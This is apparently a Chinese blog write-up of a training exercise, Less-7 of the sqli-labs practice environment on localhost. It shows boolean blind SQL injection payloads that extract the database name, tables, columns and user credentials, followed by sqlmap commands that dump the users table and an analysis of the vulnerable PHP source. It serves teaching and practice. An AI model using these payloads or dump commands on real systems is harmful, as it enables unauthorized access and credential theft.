sql-labs靶场第七关测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①Order by判断列数

②寻找注入方法

③爆库,查看数据库名称

④爆表,查看security库的所有表

⑤爆列,查看users表的所有列

⑥成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/

二、测试目的

测试get型的sql注入,布尔盲注出数据库中的用户名和密码;

使用sqlmap爆破,熟悉sqlmap的参数

三、操作过程

1、寻找注入点

根据提示,将id作为参数,值为数字

输入id之后,页面回显  You are in..... Use outfile......

测试符号

给数字加单引号  ‘   ,回显报错,存在sql注入,注入点在url的id值

字符型注入

添加1=1判断,回显不正常

?id=1' and 1=1 -- +

尝试寻找闭合符,发现双引号闭合下的  1=1判断回显正常

尝试1=2判断,有回显,闭合符号不是”

经过不断尝试,闭合符为   ‘))   ,此时1=1判断回显正常,1=2判断回显错误

?id=1')) and 1=2 -- +

2、注入数据库

①Order by判断列数

这关的payload闭合符号为   1’))

传入id值,先用order by 查看列数,可见数据库表共三列,查看第四列报错,但只是一句话,不是mysql的报错。

?id=1')) order by 3 -- +

?id=1')) order by 4 -- +

②寻找注入方法

尝试报错注入,无结果显示,这关所有的报错信息都固定的,不会有结果

?id=1’)) and updatexml(1,concat(0x7e,1213124,0x7e),1) --+

尝试布尔盲注,可以利用

布尔注入的特点就是,语句正确回显正常;语句错误就报错;正好是布尔的true和false。

符合条件时回显正常,不符合就回显错误

?id=1')) and (length(database()))>7 --+

?id=1')) and (length(database()))=8 --+

由此可见,数据库名长度是8个字符

③爆库,查看数据库名称

?id=1')) and ascii(substr(database(),1,1))>100 --+

?id=1')) and ascii(substr(database(),1,1))<150 --+

Database()函数返回当前数据库

Substr函数提取数据库名的第一个字母,更改参数,提取第二个、第三个

根据布尔判断,逐渐缩小数据库第一个字母的ASCII码值的范围,直到确定ASCII码值是多少,从而确定是哪个字母,不断尝试可以得出数据库名(时间漫长)

?id=1')) and ascii(substr(database(),1,1))<150 --+

④爆表,查看security库的所有表

?id=1')) and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))>100 --+

?id=1')) and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))<102 --+

limit(0,1)是第一行,第一个表

依此类推,limit(1,1)是第二行,第二个表名,substr的第二个参数是起始位置,改第二个字母...第三个......,直到ASCII码值大于1都报错就是没有字母或者没有这行了

可以将所有字母拼接起来那就是所有数据库表名了

同理,确定表名的字母,慢慢拼……

使用inforamtion_schema数据库的tables方法查看本数据库的所有表

?id=1')) and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))<102 --+

⑤爆列,查看users表的所有列

?id=1')) and (ascii(substr((select column_name from information_schema.columns where
table_name='users' limit 2,1),3,1)))=115 --+

爆列同理

依旧是inforamtion_schema数据库,使用columns方法查看对应数据表的所有列

⑥成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

?id=1')) and (ascii(substr(( select  username from users limit 0,1),1,1)))>1--+

?id=1')) and (ascii(substr(( select  password from users limit 0,1),1,1)))>1--+

同理

3、sqlmap注入方法

①爆库

Sqlmap方法只需要把url的less-1改为7就可以了,结果都是一样的

盲注手注太费时间了,还是用sqlmap吧

Sqlmap稳定发挥,yyds

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=1 –dbs

使用python程序

-u  指定url

--dbs   是爆库的参数

②爆表

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=1 -D
security –tables

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=1 -D
security -T users –columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=1 -D
security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
    echo '<font color= "#FFFF00">'; 
    echo 'You are in.... Use outfile......';
    echo "<br>";
    echo "</font>";
    }
    else 
    {
    echo '<font color= "#FFFF00">';
    echo 'You have an error in your SQL syntax';
    //print_r(mysql_error());
    echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤。Sql语句中给id值加了两个括号和一个引号,因此,闭合符合为 ‘))        。

3.这里语句正确只会回显正确语句“you are in ….”,语句错误只会错误语句,利用布尔值只有true和false的特性进行判断,得出数据库信息。

4.Sql语句只取一行,注入时会把注释掉。

5.页面输出内容,利用ascii函数和substr函数可以测出数据库内容。

五、结论

传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

用sqlmap的话,需要把id参数带上,不然爆不出来。

这关使用布尔盲注,利用ascii函数和substr函数可以测出数据库内容。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ccc_9wy

觉得写的好的话就赏杯奶茶喝吧~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值